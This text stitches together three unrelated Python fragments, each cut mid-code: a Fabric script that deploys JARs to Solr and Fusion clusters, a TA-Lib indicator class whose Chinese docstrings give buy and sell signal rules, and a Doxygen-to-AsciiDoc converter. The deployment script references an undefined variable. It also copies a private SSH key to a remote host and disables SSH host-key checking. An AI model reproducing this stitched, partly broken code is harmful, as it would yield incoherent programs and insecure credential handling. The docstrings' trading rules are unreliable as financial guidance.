'indexed_at_tdt' solr = pysolr.Solr(url, timeout=10) results = solr.search(timestampField+':[* TO *]', **{'sort':timestampField+' ASC'}) if results.hits <= 0: _error('No results found in Solr!') earliestDoc = results.docs[0][timestampField] earliestTime = dateutil.parser.parse(earliestDoc) results = solr.search(timestampField+':[* TO *]', **{'sort':timestampField+' DESC'}) latestTime = dateutil.parser.parse(results.docs[0][timestampField]) duration = (latestTime-earliestTime).total_seconds() tp = 0 if duration > 0: tp = results.hits / duration print('docs/sec: '+str(tp)) def _find_jar(pattern, path): for root, dirs, files in os.walk(path): for name in files: if fnmatch.fnmatch(name, pattern): return os.path.join(root, name) return None def report_fusion_metrics(cluster,collection): hosts = _lookup_hosts(cluster) metricName = 'stage.id.perf-to-solr.collection.%s' % collection totalCount = 0 apiNonZero = 0 for h in hosts: metricsResp = _fusion_api(h, 'system/metrics?pattern='+metricName) metricsJson = json.loads(metricsResp) print(metricsJson) count = long(metricsJson.get("counters").get(metricName).get("count")) _info('Pipeline at '+h+' processed '+str(count)+' docs') if count > 0: apiNonZero += 1 totalCount += count _info(str(totalCount)+' docs processed by '+str(apiNonZero)+' API services') return totalCount def upload_solr_plugin_jars(cluster, jars): """ Upload the given jars (which must be available locally to the Solr lib directory Note: this does not restart Solr """ cloud = _provider_api() hosts = _cluster_hosts(cloud, cluster) jarList = jars.split() if n is not None: hosts = [hosts[int(n)]] _verify_ssh_connectivity(hosts) solrTip = _env(cluster, 'solr_tip') # create a staging area on each remote host to load jars into remoteJarDir = '%s/server/solr-webapp/webapp/WEB-INF/lib/' % solrTip remoteJarFilesToCopy = upload_remote_files(cluster, hosts, jarList, remoteJarDir) _info('JARs uploaded successfully: {0}. You may need to restart Solr services in order to have the jars be available on the classpath.'.format(remoteJarFilesToCopy)) def upload_fusion_plugin_jars(cluster, jars, services=None, n=None, spark=True, api=True, connectors=True): """ Upload the given plugin jars (which must be available locally to the Fusion lib directory. Note, this does not restart Fusion. """ cloud = _provider_api() hosts = _cluster_hosts(cloud, cluster) jarList = jars.split() if n is not None: hosts = [hosts[int(n)]] _verify_ssh_connectivity(hosts) fusionHome = _env(cluster, 'fusion_home') # create a staging area on each remote host to load jars into remoteJarDir = '%s/apps/libs' % fusionHome remoteFilesCopied = upload_remote_files(cluster, hosts, jarList, remoteJarDir) _info('JARs uploaded successfully: {0}. You may need to restart Fusion services in order to have the jars be available on the classpath.'.format(remoteFilesCopied)) _info("Adding jars to the classpath") if api: _add_to_classpath(hosts, remoteFilesCopied, "{0}/apps/jetty/api/webapps/api-extra-classpath.txt".format(fusionHome)) if connectors: _add_to_classpath(hosts, remoteFilesCopied, "{0}/apps/jetty/connectors/webapps/connectors-extra-classpath.txt".format(fusionHome)) if spark: remoteJarDir = '%s/apps/spark/lib' % fusionHome remoteFilesCopied = upload_remote_files(cluster, hosts, jarList, remoteJarDir) _info('JARs uploaded successfully for Spark: {0}. You may need to restart Spark services in order to have the jars be available on the classpath.'.format(remoteFilesCopied)) # Need to add the files to the classpaths #file("$searchhubFusionHome/apps/jetty/api/webapps/api-extra-classpath.txt").append(searchhubJar) #file("$searchhubFusionHome/apps/jetty/connectors/webapps/connectors-extra-classpath.txt").append(searchhubJar) def _add_to_classpath(hosts, filesToAdd, classpath): _info("Adding {0} to the classpath : {1}".format(filesToAdd, classpath)) #make a backup of the classpath file for h in range(0,len(hosts)): with settings(host_string=hosts[h]), hide('output', 'running', 'warnings'): _info("Backing up {0} on {1}".format(classpath, hosts[h])) run("cp {0} {0}.bak".format(classpath)) for file in filesToAdd: _info("Appending {0} to {1}".format(file, classpath)) run("echo '' >> {0}".format(classpath)) run("echo {0} >> {1}".format(file, classpath)) def upload_remote_files(cluster, hosts, fileList, remoteDir): remoteFilesToCopy = set([]) with settings(host_string=hosts[0]), hide('output', 'running', 'warnings'): host = hosts[0] #Make sure we have the key as needed run('mkdir -p %s/.ssh' % user_home) local_key_path = _env(cluster, 'ssh_keyfile_path_on_local') local_key_name = ntpath.basename(local_key_path) put(local_key_path, '%s/.ssh' % user_home) run('chmod 600 {0}/.ssh/{1}'.format(user_home, local_key_name)) for theFile in fileList: lastSlashAt = theFile.rfind('/') fileName = theFile[lastSlashAt + 1:] remoteFile = '%s/%s' % (remoteDir, fileName) _status('Uploading local file %s to %s on %s ... please be patient (the other hosts will go faster)' % (theFile, remoteFile, host)) put(theFile, remoteFile) # run('find %s -name "%s" -exec cp %s {} \;' % (fusionHome, fileName, remoteFile)) remoteFilesToCopy.add(remoteFile) # scp from the first host to the rest if len(hosts) > 1: for h in range(1, len(hosts)): host = hosts[h] run('scp -o StrictHostKeyChecking=no -i ~/.ssh/%s %s %s@%s:%s' % ( local_key_name, remoteFile, ssh_user, host, remoteDir)) return remoteFilesToCopy def fusion_patch_jars(cluster, localFusionDir, jars, n=None, api=None, localVers='4.1.0-SNAPSHOT', remoteVers='4.1.0-SNAPSHOT'): """ Replaces Fusion JAR files on remote servers with new ones built locally. This command helps you patch a running system with a quick fix w/o having to rebuild the AMI. """ localFusionDir = os.path.expanduser(localFusionDir) if os.path.isdir(localFusionDir) is False: _fatal('Local Fusion directory %s not found!' % localFusionDir) # on first server, rm -rf cloud/tmp/jars/*; mkdir -p cloud/tmp/jars # upload jars to first server into cloud/tmp/jars # upload the ssh key to .ssh # scp jars from first server to others via fab run jarList = jars.split() filesToPatch = [] for jar in jarList: # find the full path to each jar listed jarFile = _find_jar(jar+'-'+localVers+'.jar', localFusionDir) if os.path.isfile(jarFile): filesToPatch.append(jarFile) _info('Found '+jarFile+' to patch.') else: _fatal('JAR %s not found on LOCAL FS!' % jarFile) # get list of hosts and verify SSH connectivity cloud = _provider_api() hosts = _cluster_hosts(cloud, cluster) # ability to patch a single server only if n is not None: hosts = [hosts[int(n)]] _verify_ssh_connectivity(hosts) fusionHome = _env(cluster, 'fusion_home') fusionBin = fusionHome+'/bin' fusionLogs = fusionHome+'/var/log' # create a staging area on each remote host to load jars into remoteJarDir = '%s/cloud/tmp/fusion_jars' % user_home for h in hosts: with settings(host_string=h), hide('output', 'running', 'warnings'): run('rm -rf %s; mkdir -p %s' % (remoteJarDir,remoteJarDir)) remoteJarFilesToCopy = set([]) with settings(host_string=hosts[0]), hide('output', 'running', 'warnings'): host = hosts[0] run('mkdir -p %s/.ssh' % user_home) local_key_path = _env(cluster, 'ssh_keyfile_path_on_local') local_key_name = ntpath.basename(local_key_path) put(local_key_path, '%s/.ssh' % user_home) run('chmod 600 ' + user_home + "/.ssh/" + local_key_name) for jarFile in filesToPatch: lastSlashAt = jarFile.rfind('/') jarFileName = jarFile[lastSlashAt+1:] jarFileName = jarFileName.replace(localVers,remoteVers) remoteJarFile = '%s/%s' % (remoteJarDir, jarFileName) _status('Uploading local file %s to %s on %s ... please be patient (the other hosts will go faster)' % (jarFile, remoteJarFile, host)) put(jarFile, remoteJarFile) run('find %s -name "%s" -exec cp %s {} \;' % (fusionHome, jarFileName, remoteJarFile)) remoteJarFilesToCopy.add(jarFileName) # scp from the first host to the rest if len(hosts) > 1: for h in range(1,len(hosts)): host = hosts[h] run('scp -o StrictHostKeyChecking=no -i %s/.ssh/%s %s %s@%s:%s' % (user_home, local_key_name, remoteJarFile, ssh_user, host, remoteJarDir)) # copy the staged jars from tmp dir to all places in fusion on the rest of the hosts in the cluster for h in range(1,len(hosts)): with settings(host_string=hosts[h]), hide('output', 'running', 'warnings'): for jarFileName in remoteJarFilesToCopy: pathToJar = '%s/%s' % (remoteJarDir, jarFileName) replaceJarCmd = ('find %s -name "%s" -exec cp %s {} \;' % (fusionHome, jarFileName, pathToJar)) run(replaceJarCmd) numApi = len(hosts) if api is None else int(api) for h in range(0,len(hosts)): with settings(host_string=hosts[h]), hide('output', 'running', 'warnings'): run(fusionBin+'/spark-worker stop || true') run(fusionBin+'/api stop || true') cleanShadedJarCmd = ('cd %s && find . -name "spark-shaded*jar" -exec rm -f {} \;' % (fusionHome+"/var")) run(cleanShadedJarCmd) # restart the api service if needed if h < numApi: _runbg(fusionBin+'/api restart', fusionLogs+'/api/restart.out') _status('Restarted API service on '+hosts[h]+' ... waiting up to 180 seconds to see it come back online.') apiIsRunning
result = talib.EMA(self.close, timeperiod=n) if array: return result return result[-1] def dema(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Double Exponential Moving Average. 双指数移动平均线:两条指数移动平均线来产生趋势信号,较长期者用来识别趋势,较短期者用来选择时机。正是两条平均线及价格三者的相互作用,才共同产生了趋势信号。 """ if log: result = talib.DEMA(np.log(self.close), timeperiod=n) else: result = talib.DEMA(self.close, timeperiod=n) if array: return result return result[-1] def kama(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ KAMA. 考夫曼自适应移动平均线:短期均线贴近价格走势,灵敏度高,但会有很多噪声,产生虚假信号;长期均线在判断趋势上一般比较准确 ,但是长期均线有着严重滞后的问题。 我们想得到这样的均线,当价格沿一个方向快速移动时,短期的移动 平均线是最合适的;当价格在横盘的过程中,长期移动平均线是合适的。 """ if log: result = talib.KAMA(np.log(self.close), timeperiod=n) else: result = talib.KAMA(self.close, timeperiod=n) if array: return result return result[-1] def wma(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Weighted Moving Average. 加权移动平均线 """ if log: result = talib.WMA(np.log(self.close), timeperiod=n) else: result = talib.WMA(self.close, timeperiod=n) if array: return result return result[-1] def ma(self, price: np.ndarray, n: int, matype: int = 0, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Moving average. 移动平均线:matype: 0=SMA(默认), 1=EMA(指数移动平均线), 2=WMA(加权移动平均线), 3=DEMA(双指数移动平均线), 4=TEMA(三重指数移动平均线), 5=TRIMA, 6=KAMA(考夫曼自适应移动平均线), 7=MAMA, 8=T3(三重指数移动平均线) """ if log: result = talib.MA(np.log(price), timeperiod=n, matype=matype) else: result = talib.MA(price, timeperiod=n, matype=matype) if array: return result return result[-1] def sar(self, acceleration: int = 0, maximum: int = 0, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Parabolic SAR. 抛物线指标:抛物线转向也称停损点转向,是利用抛物线方式,随时调整停损点位置以观察买卖点。由于停损点(又称转向点SAR)以弧形的方式移动,故称之为抛物线转向指标。 """ if log: result = talib.SAR(np.log(self.high), np.log(self.low), acceleration=acceleration, maximum=maximum) else: result = talib.SAR(self.high, self.low, acceleration=acceleration, maximum=maximum) if array: return result return result[-1] def boll(self, n: int, dev_up: float = 2, dev_dn: float = 2, array: bool = False, log: bool = False, matype: int = 0) -> Union[Tuple[np.ndarray, np.ndarray, np.ndarray], Tuple[float, float, float]]: """ Bollinger Channel. 布林线指标:其利用统计原理,求出股价的标准差及其信赖区间,从而确定股价的波动范围及未来走势,利用波带显示股价的安全高低价位,因而也被称为布林带。 """ if log: upperband, middleband, lowerband = talib.BBANDS(np.log(self.close), timeperiod=n, nbdevup=dev_up, nbdevdn=dev_dn, matype=matype) else: upperband, middleband, lowerband = talib.BBANDS(self.close, timeperiod=n, nbdevup=dev_up, nbdevdn=dev_dn, matype=matype) if array: return upperband, middleband, lowerband return upperband[-1], middleband[-1], lowerband[-1] # ======================================================================================================================================================================================================== # # ======================================================================================================================================================================================================== # # Momentum Indicator 动量指标 def apo(self, fastperiod: int = 12, slowperiod: int = 26, matype: int = 0, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Absolute Price Oscillator. """ if log: result = talib.APO(np.log(self.close), fastperiod=fastperiod, slowperiod=slowperiod, matype=matype) else: result = talib.APO(self.close, fastperiod=fastperiod, slowperiod=slowperiod, matype=matype) if array: return result return result[-1] def cmo(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Chande Momentum Oscillator. 钱德动量摆动指标:与其他动量指标摆动指标如相对强弱指标(RSI)和随机指标(KDJ)不同,钱德动量指标在计算公式的分子中采用上涨日和下跌日的数据。 计算公式:CMO=(Su-Sd)*100/(Su+Sd) 其中:Su是今日收盘价与昨日收盘价(上涨日)差值加总。若当日下跌,则增加值为0;Sd是今日收盘价与做日收盘价(下跌日)差值的绝对值加总。若当日上涨,则增加值为0。 指标应用:本指标类似RSI指标。当本指标下穿-50水平时是买入信号,上穿+50水平是卖出信号。钱德动量摆动指标的取值介于-100和100之间。本指标也能给出良好的背离信号。当股票价格创出新低而本指标未能创出新低时,出现牛市背离; 当股票价格创出新高而本指标未能创出新高时,当出现熊市背离时。我们可以用移动均值对该指标进行平滑。 """ if log: result = talib.CMO(np.log(self.close), timeperiod=n) else: result = talib.CMO(self.close, timeperiod=n) if array: return result return result[-1] def mom(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Momentum. 动量,上升动向值: """ if log: result = talib.MOM(np.log(self.close), timeperiod=n) else: result = talib.MOM(self.close, timeperiod=n) if array: return result return result[-1] def ppo(self, fastperiod: int = 12, slowperiod: int = 26, matype: int = 0, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Percentage Price Oscillator. 价格震荡百分比指数:PPO标准设定和MACD设定非常相似:12,26,9和PPO,和MACD一样说明了两条移动平均线的差距,但是它们有一个差别是PPO是用百分比说明。 """ if log: result = talib.PPO(np.log(self.close), fastperiod=fastperiod, slowperiod=slowperiod, matype=matype) else: result = talib.PPO(self.close, fastperiod=fastperiod, slowperiod=slowperiod, matype=matype) if array: return result return result[-1] def roc(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Rate of change. 变动率指标:ROC是由当天的股价与一定的天数之前的某一天股价比较,其变动速度的大小,来反映股票市变动的快慢程度。 ROC = (当日收盘价-N天前的收盘价) ÷ N天前的收盘价 * 100% 指标研判: 当ROC向下则表示弱势,以100为中心线,由中心线上下穿小于100时为卖出信号。 当股价创新高时,ROC未能创新高,出现背离,表示头部形成。 当股价创新低时,ROC未能创新低,出现背离,表示底部形成。 """ if log: result = talib.ROC(np.log(self.close), timeperiod=n) else: result = talib.ROC(self.close, timeperiod=n) if array: return result return result[-1] def rocr(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Rate of change ratio. (price/prevPrice) """ if log: result = talib.ROCR(np.log(self.close), timeperiod=n) else: result = talib.ROCR(self.close, timeperiod=n) if array: return result return result[-1] def rocp(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Rate of change Percentage. (price-prevPrice)/prevPrice """ if log: result = talib.ROCP(np.log(self.close), timeperiod=n) else: result = talib.ROCP(self.close, timeperiod=n) if array: return result return result[-1] def rocr_100(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Rate of change ratio 100 scale. (price/prevPrice)*100 """ if log: result = talib.ROCR100(np.log(self.close), timeperiod=n) else: result = talib.ROCR100(self.close, timeperiod=n) if array: return result return result[-1] def trix(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA. """ if log: result = talib.TRIX(np.log(self.close), timeperiod=n) else: result = talib.TRIX(self.close, timeperiod=n) if array: return result return result[-1] def cci(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Commodity Channel Index (CCI). 顺势指标:该指标用来测量股价脱离正常价格范围之变异性,正常波动范围在±100之间。属于超买超卖类指标中较特殊的一种,是专门对付极端行情的。在一般常态行情下,CCI指标不会发生作用,当CCI扫描到异常股价波动时,立求速战速决,胜负瞬间立即分晓,赌输了也必须立刻加速逃逸。 指标应用 1.当CCI指标曲线在+100线~-100线的常态区间里运行时,CCI指标参考意义不大,可以用KDJ等其它技术指标进行研判。 2.当CCI指标曲线从上向下突破+100线而重新进入常态区间时,表明市场价格的上涨阶段可能结束,将进入一个比较长时间的震荡整理阶段,应及时平多做空。 3.当CCI指标曲线从上向下突破-100线而进入另一个非常态区间(超卖区)时,表明市场价格的弱势状态已经形成,将进入一个比较长的寻底过程,可以持有空单等待更高利润。如果CCI指标曲线在超卖区运行了相当长的一段时间后开始掉头向上,表明价格的短期底部初步探明,可以少量建仓。CCI指标曲线在超卖区运行的时间越长,确认短期的底部的准确度越高。 4.CCI指标曲线从下向上突破-100线而重新进入常态区间时,表明市场价格的探底阶段可能结束,有可能进入一个盘整阶段,可以逢低少量做多。 5.CCI指标曲线从下向上突破+100线而进入非常态区间(超买区)时,表明市场价格已经脱离常态而进入强势状态,如果伴随较大的市场交投,应及时介入成功率将很大。 6.CCI指标曲线从下向上突破+100线而进入非常态区间(超买区)后,只要CCI指标曲线一直朝上运行,表明价格依然保持强势可以继续持有待涨。但是,如果在远离+100线的地方开始掉头向下时,则表明市场价格的强势状态将可能难以维持,涨势可能转弱,应考虑卖出。如果前期的短期涨幅过高同时价格回落时交投活跃,则应该果断逢高卖出或做空。 CCI主要是在超买和超卖区域发生作用,对急涨急跌的行情检测性相对准确。非常适用于股票、外汇、贵金属等市场的短期操作。 计算方法: TP = (最高价 + 最低价 + 收盘价) ÷ 3 MA = 最近n日每日TP之和÷n MD = 最近n日 ABS(MATP - 每日TP)累计和 ÷ n CCI(n) = (TP- MA) ÷MD ÷0.015 """ if log: result = talib.CCI(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.CCI(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def rsi(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Relative Strenght Index (RSI). 相对强弱指数:通过比较一段时期内的平均收盘涨数和平均收盘跌数来分析市场买沽盘的意向和实力,从而作出未来市场的走势。 """ if log: result = talib.RSI(np.log(self.close), timeperiod=n) else: result = talib.RSI(self.close, timeperiod=n) if array: return result return result[-1] def macd(self, fast_period: int, slow_period: int, signal_period: int, array: bool = False, log: bool = False) -> Union[Tuple[np.ndarray, np.ndarray, np.ndarray], Tuple[float, float, float]]: """ Moving Average Convergence/Divergence. 平滑异同移动平均线:利用收盘价的短期(常用为12日)指数移动平均线与长期(常用为26日)指数移动平均线之间的聚合与分离状况,对买进、卖出时机作出研判的技术指标。 """ if log: macd, signal, hist = talib.MACD(np.log(self.close), fastperiod=fast_period, slowperiod=slow_period, signalperiod=signal_period) else: macd, signal, hist = talib.MACD(self.close, fastperiod=fast_period, slowperiod=slow_period, signalperiod=signal_period) if array: return macd, signal, hist return macd[-1], signal[-1], hist[-1] def bop(self, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Balance Of Power. 均势指标 """ if log: result = talib.BOP(np.log(self.open), np.log(self.high), np.log(self.low), np.log(self.close)) else: result = talib.BOP(self.open, self.high, self.low, self.close) if array: return result return result[-1] def dx(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Directional Movement Index. 动向指标或趋向指标:通过分析股票价格在涨跌过程中买卖双方力量均衡点的变化情况,即多空双方的力量的变化受价格波动的影响而发生由均衡到失衡的循环过程,从而提供对趋势判断依据的一种技术指标。 """ if log: result = talib.DX(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.DX(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def adx(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Average Directional Movement Index. 平均趋向指标:使用ADX指标,指标判断盘整、振荡和单边趋势。 指标应用: 1、+DI与–DI表示多空相反的二个动向,当据此绘出的两条曲线彼此纠结相缠时,代表上涨力道与下跌力道相当,多空势均力敌。当 +DI与–DI彼此穿越时,由下往上的一方其力道开始压过由上往下的另一方,此时出现买卖讯号。 2、ADX可作为趋势行情的判断依据,当行情明显朝多空任一方向进行时,ADX数值都会显著上升,趋势走强。若行情呈现盘整格局时,ADX会低于 +DI与–DI二条线。若ADX数值低于20,则不论DI表现如何,均显示市场没有明显趋势。 3、ADX持续偏高时,代表“超买”(Overbought)或“超卖”(Oversold)的现象,行情反转的机会将增加,此时则不适宜顺势操作。当ADX数值从上升趋势转为下跌时,则代表行情即将反转;若ADX数值由下跌趋势转为上升时,行情将止跌回升。 4、总言之,DMI指标包含4条线:+DI、-DI、ADX和ADXR。+DI代表买盘的强度、-DI代表卖盘的强度;ADX代表趋势的强度、ADXR则为ADX的移动平均。 """ if log: result = talib.ADX(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.ADX(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def adxr(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Average Directional Movement Index Rating. 平均趋向指数的趋向指数:使用ADXR指标判断ADX趋势,ADXR则为ADX的移动平均。 """ if log: result = talib.ADXR(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.ADXR(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def minus_di(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Minus Directional Indicator. DMI 中的DI指标,负方向指标,下升动向值:通过分析股票价格在涨跌过程中买卖双方力量均衡点的变化情况,即多空双方的力量的变化受价格波动的影响而发生由均衡到失衡的循环过程,从而提供对趋势判断依据的一种技术指标。 """ if log: result = talib.MINUS_DI(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.MINUS_DI(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def minus_dm(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Minus Directional Movement. DMI中的DM代表正趋向变动值,即上升动向值:通过分析股票价格在涨跌过程中买卖双方力量均衡点的变化情况,即多空双方的力量的变化受价格波动的影响而发生由均衡到失衡的循环过程,从而提供对趋势判断依据的一种技术指标。 """ if log: result = talib.MINUS_DM(np.log(self.high), np.log(self.low), timeperiod=n) else: result = talib.MINUS_DM(self.high, self.low, timeperiod=n) if array: return result return result[-1] def plus_di(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Plus Directional Indicator. """ if log: result = talib.PLUS_DI(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.PLUS_DI(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def plus_dm(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Plus Directional Movement. """ if log: result = talib.PLUS_DM(np.log(self.high), np.log(self.low), timeperiod=n) else: result = talib.PLUS_DM(self.high, self.low, timeperiod=n) if array: return result return result[-1] def willr(self, n: int, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Williams' %R. 威廉指标:WMS表示的是市场处于超买还是超卖状态。 """ if log: result = talib.WILLR(np.log(self.high), np.log(self.low), np.log(self.close), timeperiod=n) else: result = talib.WILLR(self.high, self.low, self.close, timeperiod=n) if array: return result return result[-1] def ultosc(self, time_period1: int = 7, time_period2: int = 14, time_period3: int = 28, array: bool = False, log: bool = False) -> Union[float, np.ndarray]: """ Ultimate
identifier of the API element. kindref: The kind of API element referred to. """ refid: str kindref: str def __init__(self, language_tag: str, refid: str, kindref: str, *contents: DescriptionElement): super().__init__(language_tag, *contents) self.refid = refid self.kindref = kindref def to_asciidoc(self, context: AsciiDocContext = None) -> str: return f"<<{self.language_tag}-{self.refid},{super().to_asciidoc(context)}>>" def __repr__(self) -> str: return f"{self.__class__.__name__}: {self.kindref}[{self.refid}]" @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "Ref": return cls(language_tag, xml_element.get("refid", ""), xml_element.get("kindref", "")) def add_text(self, text: str) -> None: self.append(PlainText(self.language_tag, text)) def add_tail(self, parent: NestedDescriptionElement, text: str) -> None: parent.append(PlainText(self.language_tag, text)) class Ulink(NestedDescriptionElement): """Link to an external URL. This appears as a hyperlink. All nested elements will be part of the link. Attributes: url: URL to link to. """ url: str def __init__(self, language_tag: str, url: str, *contents: DescriptionElement): super().__init__(language_tag, *contents) self.url = url def to_asciidoc(self, context: AsciiDocContext = None) -> str: return f"{self.url}[{super().to_asciidoc(context)}]" def __repr__(self) -> str: return f"{self.__class__.__name__}: {self.url}" @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "Ulink": return cls(language_tag, xml_element.get("url", "")) def add_text(self, text: str) -> None: self.append(PlainText(self.language_tag, text)) def add_tail(self, parent: NestedDescriptionElement, text: str) -> None: parent.append(PlainText(self.language_tag, text)) class Anchor(PlainText): """Anchor that can be referenced in hyperlinks. Attributes: id: Identifier of the anchor. """ id: str def __init__(self, language_tag: str, text: str = "", id: str = ""): super().__init__(language_tag, text) self.id = id def to_asciidoc(self, context: AsciiDocContext = None) -> str: return f"[#{self.language_tag}-{self.id}]\n{super().to_asciidoc().lstrip()}" def __repr__(self) -> str: return f"{self.__class__.__name__}: {self.id} {repr(self.text)}" @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "Anchor": return cls(language_tag, id=xml_element.get("id", "")) def add_tail(self, parent: NestedDescriptionElement, text: str): self.text += text ################################################################################################### # Tables ################################################################################################### class Table(NestedDescriptionElement): """A table. Attributes: caption: Optional caption for the table. cols: The number of columns in the table. """ caption: Optional[str] cols: str def __init__(self, language_tag: str, caption: Optional[str] = None, cols: str = "1", *contents: DescriptionElement): super().__init__(language_tag, *contents) self.caption = caption self.cols = cols def to_asciidoc(self, context: AsciiDocContext = None) -> str: context = context or AsciiDocContext() if len(context.table_separators) == 0: separator = "|" elif len(context.table_separators) > 0: separator = "!" if len(context.table_separators) > 1: logger.warning("Table nesting is only supported one level deep.") context.table_separators.append(separator) rows = "\n\n".join(element.to_asciidoc(context) for element in self.contents) context.table_separators.pop(-1) if self.caption: caption = f".{self.caption}\n" else: caption = "" options = f"[cols=\"{self.cols}*\", options=\"autowidth\"]" return f"{caption}{options}\n{separator}===\n\n{rows}\n\n{separator}===" def __repr__(self) -> str: return (f"{self.__class__.__name__}: cols={self.cols}, " f"{self.caption}") @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "Table": return cls(language_tag, cols=xml_element.get("cols", "1")) def update_from_xml(self, xml_element: ET.Element) -> None: if xml_element.tag == "caption": self.caption = xml_element.text class Row(NestedDescriptionElement): """A single row in a table.""" def to_asciidoc(self, context: AsciiDocContext = None) -> str: return "\n".join(element.to_asciidoc(context) for element in self.contents) class Entry(ParaContainer): """A single cell/entry in a table. Attributes: header: Is this cell part of a header. rowspan: The number of rows the cell spans. Not specified means 1. colspan: The number of columns the cell spans. Not specified means 1. """ header: Optional[str] rowspan: Optional[str] colspan: Optional[str] align: Optional[str] def __init__(self, language_tag: str, header: Optional[str] = None, rowspan: Optional[str] = None, colspan: Optional[str] = None, align: Optional[str] = None, *contents: DescriptionElement): super().__init__(language_tag, *contents) self.header = header self.rowspan = rowspan self.colspan = colspan self.align = align def add_text(self, text: str) -> None: """Ignore text outside paras.""" def add_tail(self, parent: NestedDescriptionElement, text: str) -> None: """Ignore text outside paras.""" def to_asciidoc(self, context: AsciiDocContext = None) -> str: assert context is not None assert context.table_separators separator = context.table_separators[-1] if self.header == "yes": style_operator = "h" else: style_operator = "a" if self.rowspan and self.colspan: span_operator = f"{self.colspan}.{self.rowspan}+" elif self.rowspan: span_operator = f".{self.rowspan}+" elif self.colspan: span_operator = f"{self.colspan}+" else: span_operator = "" align_operator = {"left": "", "center": "^", "right": ">", None: ""}.get(self.align, "") return (f"{span_operator}{align_operator}{style_operator}{separator} " f"{super().to_asciidoc(context)}") def __repr__(self) -> str: return (f"{self.__class__.__name__}: header={self.header}, rowspan={self.rowspan}, " f"colspan={self.colspan}, align={self.align}") @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "Entry": return cls(language_tag, xml_element.get("thead", None), xml_element.get("rowspan", None), xml_element.get("colspan", None), xml_element.get("align", None)) ################################################################################################### # Lists ################################################################################################### class ListContainer(ParaContainer): """Paragraph that contains a list (bullet or ordered). Attributes: marker: Marker used for each list item. """ marker: str def __init__(self, language_tag: str, marker: str, *contents: DescriptionElement): super().__init__(language_tag, *contents) self.marker = marker def to_asciidoc(self, context: AsciiDocContext = None) -> str: context = context or AsciiDocContext() if context.list_markers: if context.list_markers[-1].startswith(self.marker): marker = f"{context.list_markers[-1]}{self.marker}" else: marker = self.marker else: marker = self.marker context.list_markers.append(marker) ret = super().to_asciidoc(context) context.list_markers.pop(-1) return ret @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "ListContainer": if xml_element.tag == "orderedlist": marker = "." else: marker = "*" return cls(language_tag=language_tag, marker=marker) def add_tail(self, parent: NestedDescriptionElement, text: str) -> None: parent.append(Para(self.language_tag, PlainText(self.language_tag, text.lstrip()))) class ListItem(ParaContainer): """A single item in a bullet list. The item itself can contain multiple paragraphs. """ def to_asciidoc(self, context: AsciiDocContext = None) -> str: assert context is not None assert context.list_markers marker = context.list_markers[-1] return f"{marker} {super().to_asciidoc(context)}" def add_text(self, text: str) -> None: """Ignore text outside paras.""" def add_tail(self, parent: NestedDescriptionElement, text: str) -> None: """Ignore text outside paras.""" ################################################################################################### # Code blocks ################################################################################################### class ProgramListing(Para): """A block of code.""" EXTENSION_MAPPING = { "py": "python", "kt": "kotlin", "mm": "objc", "unparsed": "", } filename: str def __init__(self, language_tag: str, filename: str, *contents: DescriptionElement): super().__init__(language_tag, *contents) self.filename = filename def to_asciidoc(self, context: AsciiDocContext = None) -> str: code = "\n".join(element.to_asciidoc(context) for element in self.contents) if self.filename: _, _, extension = self.filename.partition(".") language = self.EXTENSION_MAPPING.get(extension, extension) else: language = self.language_tag return f"[source,{language}]\n----\n{code}\n----" @classmethod def from_xml(cls, xml_element: ET.Element, language_tag: str) -> "ProgramListing": return cls(language_tag, xml_element.get("filename", "")) def clone_without_contents(self): return self.__class__(self.language_tag, self.filename) def add_tail(self, parent: NestedDescriptionElement, text: str) -> None: parent.append(Para(self.language_tag, PlainText(self.language_tag, text.lstrip()))) class CodeLine(NestedDescriptionElement): """A single line in a block of code.""" ################################################################################################### 